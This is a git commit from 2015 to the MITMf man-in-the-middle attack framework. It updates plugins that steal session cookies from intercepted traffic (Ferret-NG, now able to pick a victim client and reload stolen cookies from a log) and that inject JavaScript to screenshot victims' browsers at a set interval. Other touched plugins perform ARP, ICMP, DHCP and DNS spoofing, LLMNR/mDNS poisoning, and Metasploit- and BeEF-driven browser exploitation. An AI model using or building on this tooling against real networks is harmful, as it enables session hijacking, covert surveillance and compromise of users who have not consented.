Screenshotter plugin now live!

Added an interval option to specify the interval at which to take the sceenshots

Ferret-NG plugin is pretty much set also, was a bit of a dummy and didn't take into account that we would have sessions from multiple clients (duh!) , so I added a section in the config file to specify the client to hijack the sessions from , also added an option to load the cookies from a log file!
This commit is contained in:
byt3bl33d3r 2015-05-16 21:22:11 +02:00
commit b9371f7cdc
17 changed files with 130 additions and 70 deletions

View file

@ -24,7 +24,7 @@ import json
from time import sleep
from core.beefapi import BeefAPI
from core.utils import SystemConfig
from core.utils import SystemConfig, shutdown
from plugins.plugin import Plugin
from plugins.Inject import Inject
@ -54,7 +54,7 @@ class BeefAutorun(Inject, Plugin):
self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
if not self.beef.login(beefconfig['user'], beefconfig['pass']):
sys.exit("[-] Error logging in to BeEF!")
shutdown("[-] Error logging in to BeEF!")
def startThread(self, options):
self.autorun()

View file

@ -20,12 +20,11 @@
import string
import random
import sys
import logging
from time import sleep
from core.msfrpc import Msfrpc
from core.utils import SystemConfig
from core.utils import SystemConfig, shutdown
from plugins.plugin import Plugin
from plugins.BrowserProfiler import BrowserProfiler
@ -56,7 +55,7 @@ class BrowserSniper(BrowserProfiler, Plugin):
version = self.msf.call('core.version')['version']
self.tree_info.append("Connected to Metasploit v{}".format(version))
except Exception:
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server")
shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server")
def startThread(self, options):
self.snipe()

View file

@ -19,12 +19,15 @@
#
import logging
import ast
import sys
from datetime import datetime
from plugins.plugin import Plugin
from twisted.internet import reactor
from twisted.web import http
from twisted.internet import reactor
from core.utils import shutdown
from core.ferretng.FerretProxy import FerretProxy
from core.ferretng.URLMonitor import URLMonitor
@ -41,17 +44,44 @@ class FerretNG(Plugin):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.ferret_port = 10010 or options.ferret_port
self.cookie_file = None
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
if options.cookie_file:
self.tree_info.append('Loading cookies from log file')
try:
with open(options.cookie_file, 'r') as cookie_file:
self.cookie_file = ast.literal_eval(cookie_file.read())
URLMonitor.getInstance().cookies = self.cookie_file
cookie_file.close()
except Exception as e:
shutdown("[-] Error loading cookie log file: {}".format(e))
self.tree_info.append("Listening on port {}".format(self.ferret_port))
def onConfigChange(self):
mitmf_logger.info("[Ferret-NG] Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client']))
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
def clientRequest(self, request):
if 'cookie' in request.headers:
host = request.headers['host']
cookie = request.headers['cookie']
client = request.client.getClientIP()
if host not in URLMonitor.getInstance().cookies:
mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(client, host, cookie))
URLMonitor.getInstance().cookies[client] = {'host': host, 'cookie': cookie}
if client not in URLMonitor.getInstance().cookies:
URLMonitor.getInstance().cookies[client] = []
for entry in URLMonitor.getInstance().cookies[client]:
if host == entry['host']:
mitmf_logger.debug("{} [Ferret-NG] Updating captured session for {}".format(client, host))
entry['host'] = host
entry['cookie'] = cookie
return
mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(client, host, cookie))
URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie})
def pluginReactor(self, StrippingProxy):
FerretFactory = http.HTTPFactory(timeout=10)
@ -60,10 +90,16 @@ class FerretNG(Plugin):
def pluginOptions(self, options):
options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG proxy on (default 10010)')
options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, default=None, help='Load cookies from log file')
options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, default=None, help='Load cookies from a log file')
def finish(self):
if not URLMonitor.getInstance().cookies:
return
if self.cookie_file == URLMonitor.getInstance().cookies:
return
mitmf_logger.info("[Ferret-NG] Writing cookies to log file")
with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))) as cookie_file:
cookie_file.write(URLMonitor.getInstance().cookies)
cookie_file.close()
with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file:
cookie_file.write(str(URLMonitor.getInstance().cookies))
cookie_file.close()

View file

@ -69,6 +69,7 @@ from libs.bdfactory import pebin
from libs.bdfactory import elfbin
from libs.bdfactory import machobin
from core.msfrpc import Msfrpc
from core.utils import shutdown
from plugins.plugin import Plugin
from tempfile import mkstemp
from configobj import ConfigObj
@ -140,7 +141,7 @@ class FilePwn(Plugin):
t.setDaemon(True)
t.start()
except Exception:
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
def setupMSF(self, msf):

View file

@ -18,11 +18,9 @@
# USA
#
import sys
from plugins.plugin import Plugin
from twisted.internet import reactor
from core.utils import SystemConfig
from core.utils import SystemConfig, shutdown
from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner
from core.responder.mdns.MDNSPoisoner import MDNSPoisoner
@ -48,7 +46,7 @@ class Responder(Plugin):
config = self.config['Responder']
smbChal = self.config['MITMf']['SMB']['Challenge']
except Exception as e:
sys.exit('[-] Error parsing config for Responder: ' + str(e))
shutdown('[-] Error parsing config for Responder: ' + str(e))
LANFingerprinter().start(options)
MDNSPoisoner().start(options, self.ourip)

View file

@ -20,6 +20,8 @@
import logging
import base64
import urllib
import re
from datetime import datetime
from plugins.Inject import Inject
@ -32,22 +34,30 @@ class ScreenShotter(Inject, Plugin):
optname = 'screen'
desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser'
ver = '0.1'
has_opts = False
has_opts = True
def initialize(self, options):
self.interval = options.interval
Inject.initialize(self, options)
self.html_payload = self.get_payload()
def clientRequest(self, request):
if 'saveshot' in request.uri:
request.printPostData = False
img_file = './logs/{}-{}-{}.png'.format(request.client.getClientIP(), request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
with open(img_file, 'wb') as img:
img.write(base64.b64decode(request.postData[30:] + '=='))
img.close()
client = request.client.getClientIP()
img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
try:
with open('./logs/' + img_file, 'wb') as img:
img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
img.close()
mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(request.client.getClientIP(), img_file))
mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(client, img_file))
except Exception as e:
mitmf_logger.error('{} [ScreenShotter] Error saving screenshot: {}'.format(client, e))
def get_payload(self):
canvas = open("./core/javascript/screenshot.js", "rb").read()
return '<script type="text/javascript">' + canvas + '</script>'
canvas = re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read())
return '<script type="text/javascript">' + canvas + '</script>'
def pluginOptions(self, options):
options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)")

View file

@ -18,8 +18,7 @@
# USA
#
from sys import exit
from core.utils import SystemConfig, IpTables
from core.utils import SystemConfig, IpTables, shutdown
from core.protocols.arp.ARPpoisoner import ARPpoisoner
from core.protocols.arp.ARPWatch import ARPWatch
from core.dnschef.DNSchef import DNSChef
@ -55,7 +54,7 @@ class Spoof(Plugin):
if options.arp:
if not options.gateway:
exit("[-] --arp argument requires --gateway")
shutdown("[-] --arp argument requires --gateway")
if options.targets is None:
#if were poisoning whole subnet, start ARP-Watch
@ -75,10 +74,10 @@ class Spoof(Plugin):
elif options.icmp:
if not options.gateway:
exit("[-] --icmp argument requires --gateway")
shutdown("[-] --icmp argument requires --gateway")
if not options.targets:
exit("[-] --icmp argument requires --targets")
shutdown("[-] --icmp argument requires --targets")
icmp = ICMPpoisoner(options.interface, options.targets, options.gateway, options.ip_address)
icmp.debug = debug
@ -88,7 +87,7 @@ class Spoof(Plugin):
elif options.dhcp:
if options.targets:
exit("[-] --targets argument invalid when DCHP spoofing")
shutdown("[-] --targets argument invalid when DCHP spoofing")
dhcp = DHCPServer(options.interface, self.dhcpcfg, options.ip_address, options.mac_address)
dhcp.shellshock = options.shellshock
@ -104,7 +103,7 @@ class Spoof(Plugin):
DNSChef.getInstance().loadRecords(self.dnscfg)
if not options.arp and not options.icmp and not options.dhcp and not options.dns:
exit("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns")
shutdown("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns")
SystemConfig.setIpForwarding(1)